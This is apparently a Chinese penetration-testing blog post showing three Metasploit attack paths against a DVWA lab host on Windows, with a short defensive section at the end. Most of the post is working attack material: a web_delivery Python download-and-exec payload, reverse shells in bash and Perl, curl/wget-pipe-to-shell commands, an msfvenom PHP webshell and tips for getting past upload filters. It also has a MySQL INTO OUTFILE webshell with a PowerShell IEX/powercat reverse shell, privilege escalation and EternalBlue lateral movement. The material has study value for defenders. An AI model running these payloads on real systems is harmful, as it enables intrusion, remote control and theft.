(2025最后一篇博客)Metasploit框架攻击Windows实例:三种渗透路径

(2025最后一篇博客)Metasploit框架攻击Windows实例:三种渗透路径实现

今天是2025年的最后一天,回顾这一年的学习和工作经历,感慨颇多。总体来说收获不小,当然也有遗憾之处。先以一首诗共勉:

《七律·岁末感怀步原韵》

荧屏驰骤又年终,键底生花气自雄。

算法初开新世界,云衢已贯小艨艟。

攻防纸上兵形动,漏洞库中光影封。

最喜墨香凝卷处,青山数点夕阳红。

实验环境概述

本实验在一个受控环境中进行,旨在演示针对Windows系统的多种渗透测试方法。实验环境配置如下:

  • 目标主机:192.168.1.13 - 运行DVWA(Damn Vulnerable Web Application)靶机

    • 操作系统:Windows 10
    • Web服务器:Apache httpd 2.4.39 (Win64)
    • 数据库:MySQL(未授权访问)
  • 攻击主机:192.168.1.42 - Kali Linux渗透测试平台

    • 操作系统:Kali Linux 2024.1
    • 工具集:Metasploit Framework 6.4
  • 网络环境:局域网环境,所有主机位于192.168.1.0/24网段

信息收集阶段

在发起攻击前,我们首先对目标进行基本信息收集,使用Nmap进行端口和服务探测:

bash 复制代码
┌──(root㉿kali)-[/home/kali]
└─# nmap -sV -T4 192.168.1.13     
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 07:45 EST
Nmap scan report for 192.168.1.13
Host is up (0.056s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: E0:D0:45:CB:AF:D9 (Intel Corporate)

关键发现

  1. 目标开放HTTP服务(端口80),运行Apache 2.4.39
  2. 目标开放MySQL服务(端口3306),且为未授权状态
  3. 目标主机为联想设备(通过MAC地址识别)

方法一:Web命令执行漏洞无文件攻击

漏洞定位与利用

通过访问DVWA的命令执行漏洞页面,我们发现可利用点:

复制代码
http://192.168.1.13/dvwa/vulnerabilities/exec/#

Metasploit Web Delivery模块详解

当攻击者拥有部分受害者主机的控制权(如命令执行能力),但尚未获得完整shell时,web_delivery模块成为理想选择。该模块的特点:

  1. 无文件攻击:payload直接加载到内存执行,不写入磁盘
  2. 快速建立会话:通过单条命令建立反向连接
  3. 多语言支持:支持Python、PHP、PowerShell等
  4. 规避检测:内存执行绕过传统文件检测机制

具体实施步骤

步骤1:模块配置
bash 复制代码
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.1.42
msf6 exploit(multi/script/web_delivery) > set lport 6666
msf6 exploit(multi/script/web_delivery) > set target 0  # 设置为Python目标
msf6 exploit(multi/script/web_delivery) > set SRVPORT 8080
步骤2:解决端口冲突问题

在实际操作中遇到端口冲突问题,通过以下方式解决:

bash 复制代码
msf6 exploit(multi/script/web_delivery) > jobs -k 0  # 停止冲突进程
msf6 exploit(multi/script/web_delivery) > run        # 重新运行
步骤3:生成攻击载荷

成功运行后,Metasploit生成如下Python命令:

复制代码
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.1.42:8080/ti9m06vQEFGPUk', context=ssl._create_unverified_context());exec(r.read());"
步骤4:利用DVWA命令执行漏洞

将上述命令插入DVWA的命令执行接口,成功触发反向连接:

复制代码
[*] Started reverse TCP handler on 192.168.1.42:6666 
[*] Using URL: http://192.168.1.42:8080/ti9m06vQEFGPUk
[*] Server started.
[*] 192.168.1.13     web_delivery - Delivering Payload (432 bytes)
[*] Sending stage (23408 bytes) to 192.168.1.13
[*] Meterpreter session 1 opened (192.168.1.42:6666 -> 192.168.1.13:50655) at 2025-12-31 08:25:53 -0500

会话验证

bash 复制代码
msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                        Information                            Connection
  --  ----  ----                        -----------                            ----------
  1         meterpreter python/windows  LENOVO-LXW\Administrator @ LENOVO-LXW  192.168.1.42:6666 -> 192.168.1.13:50655 (192.168.1.13)

成功指标:获得管理员权限的meterpreter会话(LENOVO-LXW\Administrator)

多语言Payload生成示例

为应对不同环境,可使用多种脚本语言的payload:

Python Payload(已使用)
python 复制代码
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.1.42:8080/ti9m06vQEFGPUk', context=ssl._create_unverified_context());exec(r.read());"
Bash Payload(适用于Linux/Unix环境)
bash 复制代码
bash -c "bash -i >& /dev/tcp/192.168.1.42/4444 0>&1"
# 或使用curl/wget下载执行
curl -s http://192.168.1.42:8080/payload.sh | bash
wget -qO- http://192.168.1.42:8080/payload.sh | bash
Perl Payload
perl 复制代码
perl -e 'use Socket;$i="192.168.1.42";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法二:WebShell上传与反向连接

攻击思路

当目标网站存在文件上传漏洞时,我们可以上传一个webshell,然后通过该webshell建立与Metasploit的反向连接。DVWA通常包含文件上传漏洞模块,适合此攻击路径。

具体实施步骤

步骤1:生成PHP WebShell

使用msfvenom生成一个PHP反向shell:

bash 复制代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.42 LPORT=7777 -f raw -o shell.php

参数说明

  • -p php/meterpreter/reverse_tcp:指定PHP meterpreter反向TCP载荷
  • LHOST=192.168.1.42:监听主机IP
  • LPORT=7777:监听端口(避免与之前冲突)
  • -f raw:输出原始格式
  • -o shell.php:输出文件名

生成的文件内容类似:

php 复制代码
<?php
/* PHP反向shell代码 */
$ip = '192.168.1.42';
$port = 7777;
$sock = fsockopen($ip, $port);
$proc = proc_open("cmd.exe", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
步骤2:绕过上传限制

DVWA的文件上传漏洞可能有不同安全级别:

  1. 低级安全:无任何过滤,直接上传.php文件
  2. 中级安全:检查文件扩展名,可通过.php5、.phtml绕过
  3. 高级安全:检查文件内容,需使用图片马或双写扩展名

实际攻击中,我们可能需要对生成的shell进行混淆或嵌入到合法文件中。

步骤3:设置Metasploit监听器
bash 复制代码
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.42
msf6 exploit(multi/handler) > set lport 7777
msf6 exploit(multi/handler) > run
步骤4:上传并触发WebShell
  1. 访问DVWA文件上传页面:http://192.168.1.13/dvwa/vulnerabilities/upload/
  2. 上传生成的shell.php文件
  3. 访问上传后的文件路径触发反向连接
步骤5:会话管理

成功触发后,Metasploit将收到反向连接:

复制代码
[*] Started reverse TCP handler on 192.168.1.42:7777 
[*] Sending stage (39927 bytes) to 192.168.1.13
[*] Meterpreter session 2 opened (192.168.1.42:7777 -> 192.168.1.13:50789) at 2025-12-31 09:15:23 -0500

优势与局限

优势

  • 稳定持久,webshell可重复使用
  • 适用于存在文件上传但无命令执行漏洞的场景
  • 可绕过部分网络出口限制

局限

  • 需要在目标服务器上写入文件
  • 可能触发文件完整性监控
  • 需要知道webshell的准确访问路径

方法三:其他服务端口攻击

MySQL未授权访问攻击

根据Nmap扫描结果,目标MySQL服务处于未授权访问状态。这为我们提供了另一条攻击路径。

步骤1:MySQL连接测试
bash 复制代码
mysql -h 192.168.1.13 -u root -p
# 或尝试空密码
mysql -h 192.168.1.13 -u root
步骤2:利用MySQL写入WebShell

如果成功连接MySQL且具有FILE权限,可尝试写入webshell:

sql 复制代码
-- 查看当前数据库用户权限
SELECT user, host, file_priv FROM mysql.user WHERE user = 'root';

-- 如果file_priv为Y,尝试写入文件
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/dvwa/cmd.php';
-- 或写入PHP反向shell
SELECT '<?php exec("powershell -c \"IEX(New-Object Net.WebClient).DownloadString(\"http://192.168.1.42/powercat.ps1\");powercat -c 192.168.1.42 -p 8888 -e cmd\"")?>' 
INTO OUTFILE 'C:/xampp/htdocs/dvwa/shell.php';
步骤3:使用Metasploit的MySQL模块
bash 复制代码
msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.1.13
msf6 auxiliary(scanner/mysql/mysql_login) > set user_file /usr/share/wordlists/metasploit/default_users.txt
msf6 auxiliary(scanner/mysql/mysql_login) > set pass_file /usr/share/wordlists/metasploit/default_passwords.txt
msf6 auxiliary(scanner/mysql/mysql_login) > run

通过已有会话进行内网渗透

在获得初始立足点(方法一的meterpreter会话)后,可进行横向移动和内网探测。

步骤1:会话迁移与权限提升
bash 复制代码
meterpreter > getuid
Server username: LENOVO-LXW\Administrator

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > run post/windows/manage/migrate
步骤2:内网信息收集
bash 复制代码
meterpreter > run post/windows/gather/enum_domain
meterpreter > run arp_scanner -r 192.168.1.0/24
meterpreter > portscan -p 1-1000 192.168.1.1-254
步骤3:攻击内网其他服务

假设发现内网其他主机开放SMB服务:

bash 复制代码
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.0/24
msf6 auxiliary(scanner/smb/smb_version) > run

# 如果发现易受攻击的SMB版本,尝试永恒之蓝漏洞
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.1.42
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 9999
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

综合性攻击链示例

在实际渗透测试中,我们可能组合使用多种方法:

  1. 初始访问:通过DVWA命令执行漏洞获得第一个meterpreter会话
  2. 信息收集:在目标主机上收集凭证、网络信息、其他服务信息
  3. 权限提升:利用本地提权漏洞获取SYSTEM权限
  4. 持久化:安装后门、创建计划任务、添加用户
  5. 横向移动:使用收集的凭证攻击内网其他主机
  6. 数据获取:提取敏感数据、数据库内容

防御建议

基于本次渗透测试的发现,提出以下防御措施:

1. Web应用安全加固

  • 对用户输入进行严格过滤和验证
  • 禁用危险函数如exec()system()passthru()
  • 实施最小权限原则,Web服务以低权限账户运行
  • 定期更新和修补Web应用程序

2. 文件上传防护

  • 限制上传文件类型,使用白名单机制
  • 对上传文件进行重命名,避免直接执行
  • 将上传目录设置为不可执行
  • 使用防病毒软件扫描上传文件

3. 数据库安全

  • 为MySQL设置强密码
  • 限制远程访问,只允许特定IP连接
  • 移除或限制FILE权限
  • 定期更新数据库软件

4. 系统层面防护

  • 及时安装操作系统安全更新
  • 使用防火墙限制不必要的端口访问
  • 启用日志审计和监控
  • 实施端点检测与响应(EDR)方案

5. 网络隔离

  • 将Web服务器置于DMZ区域
  • 数据库服务器与Web服务器分离
  • 实施网络分段,限制横向移动

攻击技术发展趋势

  • AI辅助的漏洞挖掘
  • 云环境下的新型攻击路径
  • 供应链攻击的防御策略
  • 量子计算对现有加密体系的影响

总结

本次渗透测试演示了针对Windows系统的三种主要攻击路径:

  1. 方法一(已实现) :利用Web命令执行漏洞进行无文件攻击,通过Metasploit的web_delivery模块快速建立meterpreter会话。这种方法隐蔽性高,不落盘,适合有命令注入但无文件上传的场景。

  2. 方法二:通过文件上传漏洞部署WebShell,建立反向连接。这种方法稳定性好,适合存在文件上传功能的场景,但会在服务器上留下文件痕迹。

  3. 方法三:攻击其他服务端口(如MySQL)或通过已有会话进行内网渗透。这种方法展现了攻击的纵深性,一旦获得初始立足点,可进一步扩大战果。

每种方法都有其适用场景和优缺点,在实际渗透测试中,安全专业人员应根据目标环境的特点灵活选择和组合不同的攻击技术。同时,防御方也应从这些攻击手法中吸取教训,实施多层次、纵深的安全防御策略。

最后,再次感谢所有支持我的读者。2025年即将过去,2026年,让我们继续在技术的海洋中探索前行!

相关推荐
一颗青果3 小时前
数据链路层讲解
网络
石像鬼₧魂石3 小时前
Cobalt Strike(简称 CS)专业的红队安全测试工具
linux·windows·安全·ubuntu
m0_738120723 小时前
渗透测试——靶机DC-6详细横向过程(Wordpress渗透)
服务器·网络·python·web安全·ssh·php
ONE_SIX_MIX4 小时前
debian 13 使用 nvidia 官方 apt repo 仓库,获得最新显卡驱动
运维·windows·debian
week_泽4 小时前
Dvwa靶场搭建_错误汇总
web安全·网络安全·靶场·dvwa
雅欣鱼子酱4 小时前
ECP5702 PD诱骗协议芯片,单芯片取电5V~20V输出给后端充电模板!
网络·人工智能·芯片·电子元器件
baboon_chen4 小时前
SS (Socket Statistic)
linux·网络·ss
qq_317620314 小时前
002:windows命令速查手册
windows·powershell·cmd
我还可以再学点5 小时前
TCP与UDP
网络·tcp/ip·udp